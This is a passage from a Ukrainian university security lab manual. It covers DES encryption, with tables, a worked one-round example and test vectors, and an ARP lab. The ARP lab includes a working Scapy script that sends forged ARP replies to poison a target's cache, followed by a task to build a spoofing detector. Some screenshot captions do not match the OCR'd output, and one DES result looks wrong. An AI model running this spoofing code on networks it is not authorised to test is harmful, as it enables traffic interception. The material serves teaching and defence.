Отриманий після перестановки вектор E складається по модулю 2 (по-бітова логічна операція XOR) з відповідним ключем ki. Результат цього перетворення буде мати таку саму довжину, як Е та ключ ki, а саме 48-біт. Для подальших перетворень необхідно повернутись до блоку довжиною у 32 біта, для чого Е представляється у вигляді восьми послідовних блоків B1, B2, ... B8: 
E = B1B2 ... B8
Кожен блок Bi є 6-бітовим. Далі кожен з цих блоків буде трансформуватись у новий 4 бітовий блок B’i за допомогою відповідних Si  перетворень. Індекс і вказує на відповідність блоку Bi та перетворення Si.
Таблиця 3.3. Перетворення Si
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	6
	13
	

	
	

	0
	15
	1
	8
	14
	6
	11
	3
	4
	9
	7
	2
	13
	12
	0
	5
	10
	S2

	1
	3
	13
	4
	7
	15
	2
	8
	14
	12
	0
	1
	10
	6
	9
	11
	5
	

	2
	0
	14
	7
	11
	10
	4
	13
	1
	5
	8
	12
	6
	9
	3
	2
	15
	

	3
	13
	8
	10
	1
	3
	15
	4
	2
	11
	6
	7
	12
	0
	5
	14
	9
	

	
	

	0
	10
	0
	9
	14
	6
	3
	15
	5
	1
	13
	12
	7
	11
	4
	2
	8
	S3

	1
	13
	7
	0
	9
	3
	4
	6
	10
	2
	8
	5
	14
	12
	11
	15
	1
	

	2
	13
	6
	4
	9
	8
	15
	3
	0
	11
	1
	2
	12
	5
	10
	14
	7
	

	3
	1
	10
	13
	0
	6
	9
	8
	7
	4
	15
	14
	3
	11
	5
	2
	12
	

	
	

	0
	7
	13
	14
	3
	0
	6
	9
	10
	1
	2
	8
	5
	11
	12
	4
	15
	S4

	1
	13
	8
	11
	5
	6
	15
	0
	3
	4
	7
	2
	12
	1
	10
	14
	9
	

	2
	10
	6
	9
	0
	12
	11
	7
	13
	15
	1
	3
	14
	5
	2
	8
	4
	

	3
	3
	15
	0
	6
	10
	1
	13
	8
	9
	4
	5
	11
	12
	7
	2
	14
	

	
	

	0
	2
	12
	4
	1
	7
	10
	11
	6
	8
	5
	3
	15
	13
	0
	14
	9
	S5

	1
	14
	11
	2
	12
	4
	7
	13
	1
	5
	0
	15
	10
	3
	9
	8
	6
	

	2
	4
	2
	1
	11
	10
	13
	7
	8
	15
	9
	12
	5
	6
	3
	0
	14
	

	3
	11
	8
	12
	7
	1
	14
	2
	13
	6
	15
	0
	9
	10
	4
	5
	3
	

	
	

	0
	12
	1
	10
	15
	9
	2
	6
	8
	0
	13
	3
	4
	14
	7
	5
	11
	S6

	1
	10
	15
	4
	2
	7
	12
	9
	5
	6
	1
	13
	14
	0
	11
	3
	8
	

	2
	9
	14
	15
	5
	2
	8
	12
	3
	7
	0
	4
	10
	1
	13
	11
	6
	

	3
	4
	3
	2
	12
	9
	5
	15
	10
	11
	14
	1
	7
	6
	0
	8
	13
	

	
	

	0
	4
	11
	2
	14
	15
	0
	8
	13
	3
	12
	9
	7
	5
	10
	6
	1
	S7

	1
	13
	0
	11
	7
	4
	9
	1
	10
	14
	3
	5
	12
	2
	15
	8
	6
	

	2
	1
	4
	11
	13
	12
	3
	7
	14
	10
	15
	6
	8
	0
	5
	9
	2
	

	3
	6
	11
	13
	8
	1
	4
	10
	7
	9
	5
	0
	15
	14
	2
	3
	12
	


	
	

	0
	13
	2
	8
	4
	6
	15
	11
	1
	10
	9
	3
	14
	5
	0
	12
	7
	S8

	1
	1
	15
	13
	8
	10
	3
	7
	4
	12
	5
	6
	11
	0
	14
	9
	2
	

	2
	7
	11
	4
	1
	9
	12
	14
	2
	0
	6
	10
	13
	15
	3
	5
	8
	

	3
	2
	1
	14
	7
	4
	10
	8
	13
	15
	12
	9
	0
	3
	5
	6
	11
	


Розглянемо приклад роботи перетворення. Припустимо, що утворено наступний блок 
B3 = 101111.
Значить для отримання B’3 буде використовуватись перетворення S3. 
Перший і останній розряди B3 є двійковим записом числа а, тому 
[image: image30.emf]d ≥ r+ 1

. 
4 розряди із середини B3 представляють число b, тому 
[image: image31.emf]d ≥ 2 r+ 1

. 
Рядки таблиці S3 є числом а, тому нумеруються від 0 до 3. Стовпці таблиці S3 є числом b, тому нумеруються від 0 до 15. Пара чисел (а, b) визначає число, що знаходиться на перетині рядка а і стовпця b. Двійкове подання цього числа є B’3. Для нашого випадку a = 112 = 3, b = 01112 = 7, таким чином отримуємо для  S3 пару (3, 7), а на перетині відповідного рядку та стовпця знаходиться число 7, що дає двійкове значення для B’3 = 0111.
Після виконання подібних перетворень для усіх Bi буде утворено 32 бітовий блок B’1B’2B’3B’4B’5B’6B’7B’8. Останньою операцією, що буде виконано у функції F є перестановка  Р, яка задається наступним чином:
	1
	2
	3
	4
	5
	6
	7
	8
	9
	10
	11
	12
	13
	14
	15
	16
	17
	18
	19
	20
	21
	22
	23
	24
	25
	26
	27
	28
	29
	30
	31
	32

	16
	7
	20
	21
	29
	12
	28
	17
	1
	15
	23
	26
	5
	18
	31
	10
	2
	8
	24
	14
	32
	27
	3
	9
	19
	13
	30
	6
	22
	11
	4
	25


Де у верхньому рядку вказано нумерацію біт у вихідному блоці функції F, а у нижньому — біти вхідного блоку (B’1B’2B’3B’4B’5B’6B’7B’8). 
Генерування ключів ki
Ключі ki отримують із початкового ключа k (64 біт = 8 байтів або 8 символів у ASCII) у такий спосіб. Вісім бітів, що знаходяться у позиціях 8, 16, 24, 32, 40, 48, 56, 64, додаються в ключ k так, щоб кожен байт мав непарне число одиниць. Це необхідно для виявлення помилок при обміні та зберіганні ключів. Потім роблять перестановку для розширеного ключа (крім доданих бітів 8, 16, 24, 32, 40, 48, 56, 64). Така перестановка визначена таблицею 5.
Таблиця 3.5. Початкова перестановка біт ключа 
	57
	49
	41
	33
	25
	17
	9
	1
	58
	50
	42
	34
	26
	18
	10
	2
	59
	51
	43
	35
	27
	19
	11
	3
	60
	52
	44
	36
	С0

	63
	55
	47
	39
	31
	23
	15
	7
	62
	54
	46
	38
	30
	22
	14
	6
	61
	53
	45
	37
	29
	21
	13
	5
	28
	20
	12
	4
	D0


Ця перестановка визначається двома блоками C0 і D0 по 28 біт кожний. Наступні значення блоків Ci, Di (i = 1,2,3 ...) отримують із попередніх значень блоків Ci - 1, Di - 1 за допомогою одного або двох лівих циклічних зміщень відповідно до наступної таблиці:
Таблиця 3.6. Циклічний зсув для ключа
	i-й раунд
	1
	2
	3
	4
	5
	6
	7
	8
	9
	10
	11
	12
	13
	14
	15
	16

	Число зсувів
	1
	1
	2
	2
	2
	2
	2
	2
	1
	2
	2
	2
	2
	2
	2
	1


Ключ ki, i = 1, ... 16 складається із 48 біт, вибраних з бітів вектору CiDi (56 біт) згідно з таблицею 7. Перший і другий біти у ki є 14, 17 вектору CiDi
Таблиця 3.7
	i-й біт раундового
ключа
	1
	2
	3
	4
	5
	6
	7
	8
	9
	10
	11
	12
	13
	14
	15
	16
	17
	18
	19
	20
	21
	22
	23
	24

	номери біт з
векторів CiDi
	14
	17
	11
	24
	1
	5
	3
	28
	15
	6
	21
	10
	23
	19
	12
	4
	26
	8
	16
	7
	27
	20
	13
	2


	i-й біт раундового
ключа
	25
	26
	27
	28
	29
	30
	31
	32
	33
	34
	35
	36
	37
	38
	39
	40
	41
	42
	43
	44
	45
	46
	47
	48

	номери біт з
векторів CiDi
	41
	52
	31
	37
	47
	55
	30
	40
	51
	45
	33
	48
	44
	49
	39
	56
	34
	53
	46
	42
	50
	36
	29
	32


Кінцева перестановка
Після 16-ти раундів застосовується кінцева перестановка біт. Вона позначається як IP-1 і є зворотньою до перестановки IP. Так 58-й біт на вході початкової перестановки IP переходить у позицію 1 (і т.д.), а при кінцевій перестановці 1-ий вхідний біт переводиться у позицію 58. Розташування біт кінцевої перестановки наведено у таблиці 3.8.
Таблиця 3.8. Зворотня перестановка IP-1
	1
	2
	3
	4
	5
	6
	7
	8
	9
	10
	11
	12
	13
	14
	15
	16
	17
	18
	19
	20
	21
	22
	23
	24
	25
	26
	27
	28
	29
	30
	31
	32

	40
	8
	48
	16
	56
	24
	64
	32
	39
	7
	47
	15
	55
	23
	63
	31
	38
	6
	46
	14
	54
	22
	62
	30
	37
	5
	45
	13
	53
	21
	61
	29


	33
	34
	35
	36
	37
	38
	39
	40
	41
	42
	43
	44
	45
	46
	47
	48
	49
	50
	51
	52
	53
	54
	55
	56
	57
	58
	59
	60
	61
	62
	63
	64

	36
	4
	44
	12
	52
	20
	60
	28
	35
	3
	43
	11
	51
	19
	59
	27
	34
	2
	42
	10
	50
	18
	58
	26
	33
	1
	41
	9
	49
	17
	57
	25


Нумерацію біт у кінцевому блоці наведено у першому та третьому рядках, а номера біт — у другому та четвертому.
Дешифрування
При дешифруванні даних всі дії виконуються у зворотньому порядку. У 16 циклах дешифрування, на відміну від шифрування із допомогою прямого перетворення мережею Фейстеля, використовується зворотнє перетворення мережею Фейстеля (див. рис.1).
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Ключі ki, i = 1, ..., 15 такі самі, що і при шифруванні, тільки вони застосовуються у зворотному до шифрування порядку. Функція F, перестановки IP та IP-1 такі самі, як і в процесі шифрування.
Завдання до лабораторної роботи №3

1  Необхідно зашифрувати перші вісім літер свого прізвища, імені та по-батькові за латинською транслітерацією за допомогою алгоритму DES. В якості пароля взяти слово «password». Для зменшення кількості обчислень в алгоритмі DES слід обмежитись лише одним раундом.
Приклад виконання 
ПІБ: Gorbenko Vitaliy Ivanovich
Літери для шифрування: gorbenko
Представимо літери в двійковому вигляді за таблицею АSCII: 
	01100111
	01101111
	01110010
	01100010
	01100101
	01101110
	01101011
	01101111


У результаті маємо 64 біта, що дорівнює розміру блоку в алгоритмі DES. За алгоритмом DES здійснюємо початкову перестановку IP бітів вхідного блоку за наступною таблицею:
	58
	50
	42
	34
	26
	18
	10
	2

	60
	52
	44
	36
	28
	20
	12
	4

	62
	54
	46
	38
	30
	22
	14
	6

	64
	56
	48
	40
	32
	24
	16
	8

	57
	49
	41
	33
	25
	17
	9
	1

	59
	51
	43
	35
	27
	19
	11
	3

	61
	53
	45
	37
	29
	21
	13
	5

	63
	55
	47
	39
	31
	23
	15
	7


Числа в даній таблиці означають: у позицію 1 записують 58-й біт вхідного блоку, у позицію 2 записують 50 -й біт, у позицію 3 записують 42-й біт і т.д.
В результаті отримуємо блок в 64 біти наступного вигляду:
11101111  00001100  11011010  00110111  00000000  11111111  01000011  01010111
Цей блок ділимо на ліву і праву частини по 32 біти.
Ліва частина L: 11101111  00001100  11011010  00110111.
Права частина R: 00000000  11111111  01000011  01010111.
Формуємо ключ раунду. 
Для всіх варіантів ключ для шифрування однаковий: password. Ці вісім символів також представляємо у двійковому вигляді за таблицею ASCII: 

	01110000
	01100001
	01110011
	01110011
	01110111
	01101111
	01110010
	01100100


Здійснюємо перестановку PC-1. За наступною таблицею:
	57
	49
	41
	33
	25
	17
	9

	1
	58
	50
	42
	34
	26
	18

	10
	2
	59
	51
	43
	35
	27

	19
	11
	3
	60
	52
	44
	36

	63
	55
	47
	39
	31
	23
	15

	7
	62
	54
	46
	38
	30
	22

	14
	6
	61
	53
	45
	37
	29

	21
	13
	5
	28
	20
	12
	4


Кількість елементів таблиці 56. Тобто в результаті отримуємо вектор у 56 біт. Відсутні біти 8-й, 16-й, 24-й, 32-й, 40-й, 48-й, 56-й, 64-й. Ці біти ніякої участі в процесі шифрування не приймають і використовуються для контролю парності. Правило використання даної таблиці: у позицію 1 записують 57-й біт вхідного блоку, у позицію 2 записують 49 -й біт, у позицію 3 записують 41-й біт і т.д.
Результат виконання перестановки PC-1:
00000000  11011111  11011111  01010101  11001011  00000000  00001101
Розбиваємо цю послідовність біт на дві частина по 28 біт.
Ліва частина С0:
00000000  11011111  11011111  0101
Права частина D0:

0101  11001011  00000000  00001101
Виконуємо циклічний зсув обох частин на 1 біт вліво:
Отримуємо С1:
00000001  10111111  10111110  1010
Отримуємо D1:
1011  10010110  00000000  00011010
З’єднуємо обидві частини:
00000001  10111111  10111110  10101011  10010110  00000000  00011010
До цієї послідовності застосовуємо перестановку PC-2 за наступною таблицею:
	14
	17
	11
	24
	1
	5

	3
	28
	15
	6
	21
	10

	23
	19
	12
	4
	26
	8

	16
	7
	27
	20
	13
	2

	41
	52
	31
	37
	47
	55

	30
	40
	51
	45
	33
	48

	44
	49
	39
	56
	34
	53

	46
	42
	50
	36
	29
	32


В таблиці 48 комірок. Результатом виконання цієї перестановки буде 48 бітовий вектор. Правила виконання перестановки: у позицію 1 записують 14-й біт вхідного блоку, у позицію 2 записують 17 -й біт, у позицію 3 записують 11-й біт і т.д.
В результаті отримуємо ключ раунду: 
11100000  10101110  01101110  10011101  11011110  01011100
Функція раунду.
Входом даної функції є права частина R (32 біти) вхідного блоку:

00000000  11111111  01000011  01010111
Застосовуємо до R функцію розширення Е за наступною таблицею:
	32
	1
	2
	3
	4
	5

	4
	5
	6
	7
	8
	9

	8
	9
	10
	11
	12
	13

	12
	13
	14
	15
	16
	17

	16
	17
	18
	19
	20
	21

	20
	21
	22
	23
	24
	25

	24
	25
	26
	27
	28
	29

	28
	29
	30
	31
	32
	1


В таблиці 48 комірок. Результатом виконання цієї перестановки буде 48 бітовий вектор. Правила виконання перестановки: у позицію 1 записують 32-й біт вхідного блоку, у позицію 2 записують 1 -й біт, у позицію 3 записують 2-й біт і т.д.
В результаті маємо 48 бітовий вектор:
10000000  00010111  11111110  10100000  01101010  10101110
Даний вектор і ключ раунду порозрядно складаються за модулем 2:
01100000  10111001  10010000  00111101  10110100  11110010
Ця 48 бітна послідовність розбивається на 8 блоків по 6 біт кожний:
011000  001011  100110  010000  001111  011011  010011  110010
Кожен з блоків подається на вхід відповідного S-блоку. Робота S-блоків описується наступними таблицями:
S1-блок
	14
	4
	13
	1
	2
	15
	11
	8
	3
	10
	6
	12
	5
	9
	0
	7

	0
	15
	7
	4
	14
	2
	13
	1
	10
	6
	12
	11
	9
	5
	3
	8

	4
	1
	14
	8
	13
	6
	2
	11
	15
	12
	9
	7
	3
	10
	5
	0

	15
	12
	8
	2
	4
	9
	1
	7
	5
	11
	3
	14
	10
	0
	6
	13


S2-блок
	15
	1
	8
	14
	6
	11
	3
	4
	9
	7
	2
	13
	12
	0
	5
	10

	3
	13
	4
	7
	15
	2
	8
	14
	12
	0
	1
	10
	6
	9
	11
	5

	0
	14
	7
	11
	10
	4
	13
	1
	5
	8
	12
	6
	9
	3
	2
	15

	13
	8
	10
	1
	3
	15
	4
	2
	11
	6
	7
	12
	0
	5
	14
	9


S3-блок
	10
	0
	9
	14
	6
	3
	15
	5
	1
	13
	12
	7
	11
	4
	2
	8

	13
	7
	0
	9
	3
	4
	6
	10
	2
	8
	5
	14
	12
	11
	15
	1

	13
	6
	4
	9
	8
	15
	3
	0
	11
	1
	2
	12
	5
	10
	14
	7

	1
	10
	13
	0
	6
	9
	8
	7
	4
	15
	14
	3
	11
	5
	2
	12


S4-блок
	7
	13
	14
	3
	0
	6
	9
	10
	1
	2
	8
	5
	11
	12
	4
	15

	13
	8
	11
	5
	6
	15
	0
	3
	4
	7
	2
	12
	1
	10
	14
	9

	10
	6
	9
	0
	12
	11
	7
	13
	15
	1
	3
	14
	5
	2
	8
	4

	3
	15
	0
	6
	10
	1
	13
	8
	9
	4
	5
	11
	12
	7
	2
	14


S5-блок
	2
	12
	4
	1
	7
	10
	11
	6
	8
	5
	3
	15
	13
	0
	14
	9

	14
	11
	2
	12
	4
	7
	13
	1
	5
	0
	15
	10
	3
	9
	8
	6

	4
	2
	1
	11
	10
	13
	7
	8
	15
	9
	12
	5
	6
	3
	0
	14

	11
	8
	12
	7
	1
	14
	2
	13
	6
	15
	0
	9
	10
	4
	5
	3


S6-блок
	12
	1
	10
	15
	9
	2
	6
	8
	0
	13
	3
	4
	14
	7
	5
	11

	10
	15
	4
	2
	7
	12
	9
	5
	6
	1
	13
	14
	0
	11
	3
	8

	9
	14
	15
	5
	2
	8
	12
	3
	7
	0
	4
	10
	1
	13
	11
	6

	4
	3
	2
	12
	9
	5
	15
	10
	11
	14
	1
	7
	6
	0
	8
	13


S7-блок
	4
	11
	2
	14
	15
	0
	8
	13
	3
	12
	9
	7
	5
	10
	6
	1

	13
	0
	11
	7
	4
	9
	1
	10
	14
	3
	5
	12
	2
	15
	8
	6

	1
	4
	11
	13
	12
	3
	7
	14
	10
	15
	6
	8
	0
	5
	9
	2

	6
	11
	13
	8
	1
	4
	10
	7
	9
	5
	0
	15
	14
	2
	3
	12


S8-блок
	13
	2
	8
	4
	6
	15
	11
	1
	10
	9
	3
	14
	5
	0
	12
	7

	1
	15
	13
	8
	10
	3
	7
	4
	12
	5
	6
	11
	0
	14
	9
	2

	7
	11
	4
	1
	9
	12
	14
	2
	0
	6
	10
	13
	15
	3
	5
	8

	2
	1
	14
	7
	4
	10
	8
	13
	15
	12
	9
	0
	3
	5
	6
	11


Ці S-блоки функціонують за наступним правилом. Входом є 6 бітний вектор. Перший та останній біти визначають номер рядка (нумерація з 0). Середні чотири біти – номер стовпчика (нумерація з 0). Десяткове число у відповідній комірці записується у вигляді 4 бітного двійкового числа, що і є виходом S-блоку. 
Подані на вхід 6 бітні послідовності після обробки на відповідному S-блоці перетворюються на наступні 4 бітні вектори:
0101  0010  1001  0001  0001  1011  0011  1101
Ці 32 біти подаються на вхід перестановки Р:
	16
	7
	20
	21

	29
	12
	28
	17

	1
	15
	23
	26

	5
	18
	31
	10

	2
	8
	24
	14

	32
	27
	3
	9

	19
	13
	30
	6

	22
	11
	4
	25


В таблиці 32 комірки. Результатом виконання цієї перестановки буде 32 бітовий вектор. Правила виконання перестановки: у позицію 1 записують 16-й біт вхідного блоку, у позицію 2 записують 7 -й біт, у позицію 3 записують 20-й біт і т.д.
В результаті отримуємо значення функції раунду у вигляді 32 бітового вектора:
11111110  00100000  10101101  00100010
Значення функції раунду порозрядно складається по модулю 2 з лівою частиною вхідного блоку L:

00010001  00101100  01110111  00010101
Отриманий 32 бітний вектор є правою частиною 64 бітного вектора. Лівою частиною буде вектор R (тобто праві 32 біти 64 бітної послідовності на початку раунда).
Отже, остаточний результат раунду:
00000000  11111111  01000011  01010111  00010001  00101100  01110111  00010101
В контрольній роботі для спрощення виконується лише один раунд. Тому отриману послідовність вважаємо результатом 16 раундів. 
Заключні дії алгоритму DES
Результат 16 раундів розбиваємо на дві 32 бітні послідовності і міняємо їх місцями:
00010001  00101100  01110111  00010101  00000000  11111111  01000011  01010111
Застосовуємо до отриманих 64 біт наступну перестановку:
	40
	8
	48
	16
	56
	24
	64
	32

	39
	7
	47
	15
	55
	23
	63
	31

	38
	6
	46
	14
	54
	22
	62
	30

	37
	5
	45
	13
	53
	21
	61
	29

	36
	4
	44
	12
	52
	20
	60
	28

	35
	3
	43
	11
	51
	19
	59
	27

	34
	2
	42
	10
	50
	18
	58
	26

	33
	1
	41
	9
	49
	17
	57
	25


Правила виконання перестановки: у позицію 1 записують 40-й біт вхідного блоку, у позицію 2 записують 8 -й біт, у позицію 3 записують 48-й біт і т.д. Дана перестановка є оберненою до початкової перестановки IP.
Нарешті отримуємо остаточний результат:
00010001  00101100  01110111  00010101  00000000  11111111  01000011  01010111
Це і є 64 біти шифротексту. 
2 Написати програмне забезпечення, що реалізує алгоритм DES. Перевірити його роботу для наступних прикладів:
приклад 1 
	Текст (HEX)
	01 23 45 67 89 AB CD EF

	Ключ (HEX)
	FE FE FE FE FE FE FE FE

	Шифр (HEX)
	6D CE 0D C9 00 65 56 A3


приклад 2
	Текст (HEX)
	00 00 00 00 00 00 00 00

	Ключ (HEX)
	00 00 00 00 00 00 00 00

	Шифр (HEX)
	8C A6 4D E9 C1 B1 23 A7


приклад 3
	Текст (HEX)
	01 23 45 67 89 AB CD EF

	Ключ (HEX)
	FE DC BA 98 76 54 32 10

	Шифр (HEX)
	ED 39 D9 50 FA 74 BC C4


Приклад 4: перевірити результати першого завдання.
Запитання для самоперевірки

1 Які етапи має алгоритм DES?
2 Які етапи алгоритму DES не впливають на надійність шифрування?
3 У чому полягає перетворення Фейстеля?
4 Які методи криптоаналізу можна застосувати (теоретично) для зламування текстів, зашифрованих алгоритмом DES?
5 Чи змінює алгоритм DES частотні характеристики тексту?
6 Які недоліки в реалізації можуть ослабити надійність алгоритму шифрування DES?
7 Чому алгоритм DES дозволяє шифрувати файли будь-якого типу?

ТЕМА 4. Проблеми інформаційної безпеки мереж
Лабораторна робота №4. Протокол ARP та контроль адресації канального рівня
Тема: Протокол ARP та контроль адресації канального рівня.
Мета: Дослідження особливості ARP та проблем контролю МАС адресації.
Теоретична частина
Scapy є інтерактивною оболонкою та програмною бібліотекою для маніпулювання мережевими пакетами на мові програмування Python. Її створено Філіпом Біонді у 2003 році і розповсюджується за ліцензією GPLv2.
Scapy може створювати пакети на всіх рівнях OSI від ARP через IP/ICMP до TCP/UDP та DNS/DHCP тощо. Підтримуються навіть такі протоколи, як BOOTP, GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, EAP. Scapy використовує бібліотеку libpcap і може застосовуватись як сніффер, для захоплення та аналізу мережевого трафіку, а також як конструктор пакетів. Крім стандартних протоколів за допомогою Scapy можна створювати власні протоколи та використовувати їх при аналізі та генерації пакетів.
1. Інсталяцію пакету виконуємо за допомогою такого рядка:
sudo pip install Scapy
або 
sudo pip3 install Scapy
[image: image41.png]vgorbenko@home-R19-R20-R21:~$ arp -a

? (192.168.0.106) B 08:60:6e:d9:73:06 [ether] Ha wlan®
? (192.168.0.1) B bo:be:76:db:0b:4e [ether] Ha wlane

? (192.168.0.111) B 24:77:03:51:bd:e8 [ether] Ha wlan®





2. ARP (Address Resolution Protocol) використовується для трансляцій другого (Ethernet) та третього (IP) рівнів OSI. Стандартно його використовують для визначення MAC адреси за відомою IP адресою. Друге застосування — зворотне визначення IP адреси за відомою МАС адресою RARP (Reverse Address Resolution Protocol). Якщо вузол комп’ютерної мережі потребує відправлення IP пакету до іншого вузла, то йому потрібно визначити МАС адресу вузла призначення для того, щоб сформувати кадр (або декілька кадрів), у якому і буде розміщуватись пакет мережевого рівня. Саме для цієї процедури — визначення МАС адреси за відомою ІР адресою, і використовується ARP протокол. ARP формує запит, який відсилається за широкомовною адресою до всіх вузлів мережі. За задумом розробників протоколу, на такий запит повинен відповісти тільки той комп’ютер, що має саме відповідну ІР адресу. Але з’єднання може бути перенаправлене, якщо певний вузол декілька секунд буде відправляти пакети з власною МАС адресою. Це працює тому, що більшість операційних систем приймають пакети ARP відповідей на запитання, які не задавали.
Для експериментів необхідно мати доступ до двох комп’ютерів у одному мережевому сегменті, для того щоб запускати програмний код та контролювати зміну параметрів мережевої конфігурації. 
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Рис. 4.1 — Схема простої мережі для проведення досліджень
Пакети формуються з ІР адресами, але відправляються за допомогою кадрів, в яких використовуються МАС-адреси. Тому підміна МАС адреси в ARP-кеші призводить до перенаправлення кадрів на комп’ютер з відповідною МАС-адресою. Наприклад (рис.4.1), якщо “нападник” зможе на комп’ютері “клієнт” в ARP-кеші підмінити МАС-адресу роутера, то кадри з ІР пакетами для роутера будуть фактично направлятись до комп’ютера нападника. 
Для демонстрації цього використаємо наступну програму на Python:
import sys
import time
from scapy.all import sendp, ARP, Ether
if len(sys.argv) < 3:
    print(sys.argv[0] + ": <target> <spoof_ip>")
    sys.exit(1)
iface = "wlo1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip,psrc=fake_ip,op="is-at")
packet = ethernet / arp
while True:
    sendp(packet, iface=iface)
    time.sleep(10)
Змінна iface визначає мережевий інтерфейс, який використовується для формування та надсилання відповідних ARP-пакетів. Визначити назву інтерфейсу можна за допомогою команди ifconfig (ОС Linux):
[image: image43.png]Wlol: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.111 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fes0::412c:77da:cdee:7311 prefixlen 64 scopeid ©x20<link>
ether 24:77:03: :e8 txqueuelen 1000 (Ethernet)

RX packets 56638 bytes 49021612 (49.0 MB)

RX errors © dropped © overruns © frame 0

TX packets 34167 bytes 6650898 (6.6 MB)

TX errors © dropped 0 overruns 6 carrier 0 collisions ©





Серед усіх інтерфейсів, що показується командою ifconfig слід обрати той, що реально пересилає та отримує пакети, а також має IP адресу. У даному випадку це “wlo1”. Інтерфейс “lo” є спеціальним технологічним інтерфейсом для локальних потреб, тому його використання не може дати  очікуваних результатів.
3. До запуску програми на комп’ютері “клієнт” слід перевірити записи кешу ARP, наприклад:
[image: image44.png]'$ sudo python3 main.py 192.168.0.110 192.168.0.1




Тепер запустимо наведену вище програму. Для схеми на рис.1 запуск програми виглядає наступним чином:
[image: image45.png]Sent 1 packets.
Sent 1 packets.

Sent 1 packets.




де 192.168.0.110 — це ІР адреса комп’ютера “клієнт”, а 192.168.0.1 — ІР адреса роутера. У відповідь отримаємо повідомлення про відправлення:
[image: image46.png]sudo python3 main.py 192.168.0.110 192.168.0.106




Тепер перевіримо щодо зміни записів у кеші ARP:
[image: image47.png]Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host
Nmap

scan report for _gateway (192.168.0.1)
is up (0.0067s latency).

scan report for 192.168.0.100

is up (0.079s latency).

scan report for 192.168.0.101

is up (0.077s latency).

scan report for 192.168.0.105

is up (0.0165 latency).

scan report for 192.168.0.106

is up (0.0077s latency).

scan report for 192.168.0.107

is up (0.0077s latency).

scan report for 192.168.0.109

is up (0.0077s latency).

scan report for 192.168.0.110

is up (0.011s latency).

done: 255 IP addresses (8 hosts up) scanned in 2.88 seconds




До ARP-кешу додано рядок з IP адресою комп’ютера “нападник” і було змінено МАС-адресу роутера на адресу комп’ютера “нападник”. 
Перезапустимо програму з іншими параметрами:
[image: image48.png]Nmap scan report for 192.168.0.110
Host is up (0.015s latency).

Not shown: 994 filtered ports

PORT STATE  SERVICE VERSTON
139/tcp open netbios-ssn Microsoft Windows netbios-ssn

443/tcp closed https

445/tcp open  microsoft-ds Windows XP microsoft-ds

2869/tcp open  http Microsoft HTTPAPI httpd 1.0 (SSDP/UPNP)
|_http-server-header: Microsoft-HTTPAPI/1.0

|_http-title: Site doesn't have a title (text/html).

5800/tcp closed vnc-http

5900/tcp closed vnc

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o

:microsoft:windows, cpe:/o:

icrosoft:windows_xp

Host script results
|_clock-skew: mean: -1h36mees, deviation: 2he7m16s, median: -3heemees

| nbstat: NetBIOS name: HOME-SFQWABF53D, NetBIOS user: <unknown>, NetBIOS MAC: 00:1b:9e:4f:f4:6e (Askey Computer)
| smb-os-discovery:

| 05: Windows XP (Windows 2000 LAN Manager)

| 05 CPE: cpe:/o:microsoft:windows_xp::
| Computer name: home-sfquabf53d

| NetBIOS computer name: HOME-SFQWABF53D\x00
| Workgroup: MSHOME\xe0

|_ System time: 2021-04-19T20:40:39+03:00

I

I

I

I

I

I

smb-security-mode:

account_used: guest

authentication_level: user

challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.17 seconds




Після відправлення декількох пакетів перевіряємо ARP-кеш на комп’ютері “клієнт”:
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DEV (SHORT) 1P/MASK TYPE UP MTU  MAC
o (lo) 127.0.0.1/8 loopback up 65536
o (lo) /128 Tloopback up 65536
enpos25 (enpos25) (none)/6 ethernet up 1500
enx028037e0200 (enx828037ec6200) (none)/0 ethernet up 1500
wlol (wlo1) 192.168.0.111/24 ethernet up 1500
wlol (wlo1) feB0::412c:77da:cdee:7311/64 ethernet up 1500
dockere (dockere) 172.17.0.1/16 ethernet up 1500 02:42:FC:48:22:86
L N T L T —
DST/MASK DEV METRIC GATEWAY
192.168.0.0/24 wlol 600
172.17.0.0/16 dockere ©
169.254.0.0/16 wlol 1000
0.0.0.0/0 wlol 600  192.168.0.1

o 0

dee:7311/128 wlol  ©
o 256
wlol 600

wlol 256




Таким чином, на комп’ютері “клієнт” було замінено усі записи в кеші ARP на MAC адреси комп’ютера “нападник”.
У дійсності, така підміна МАС-адрес є тимчасовою і при відсутності наведеної активності від комп’ютера “нападник”, ARP-кеш буде відновлено:
[image: image50.png]Nmap scan report for 192.168.0.110
Host is up (0.0090s latency).

Not shown: 994 filtered ports

PORT STATE  SERVICE VERSTON
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp  closed https.

445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp closed icslap

5800/tcp closed vnc-http

5900/tcp closed vnc

Service Info: 0Ss: Windows, Windows X

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.17 seconds





Це відбувається тому, що активні з’єднання оновлюють параметри у різний спосіб. Запити ARP від комп’ютера “клієнт” і відповіді для нього, як вже було показано, можна підмінити через додаткові пакети, але інші вузли мережі також надсилають запити до цього комп’ютера і тому в цих пакетах реальні мережеві параметри вузлів. Тому ARP-кеш постійно відновлюється до параметрів, які реально відповідають вузлам мережі.
Завдання до лабораторної роботи №4

1 Для проведення експериментів необхідно мати доступ до двох комп’ютерів. Визначте їх мережеву конфігурацію, яку занесіть у звіт.
2 Повторіть дії представлені в 1-3 пунктах практичної частини з використанням мережевої конфігурації обраних для експериментів комп’ютерів. 
3 Написати програму, що із заданим у параметрах періодом часу буде перевіряти вміст arp-кешу та порівнювати його із заданими значеннями у деякому власному файлі конфігурацій. Якщо буде виявлена підміна МАС-адрес для певних ІР, або поява нових пар МАС-адреса ІР-адреса, то вноситься відповідний запис у власний log-файл.
4 Використайте програмний код із пункту 2 для перевірки роботи написаної програми. Додайте скриншоти до звіту.
5 Підготуйте та надайте звіт. 
Запитання для самоперевірки

1 Для чого призначено протокол ARP?
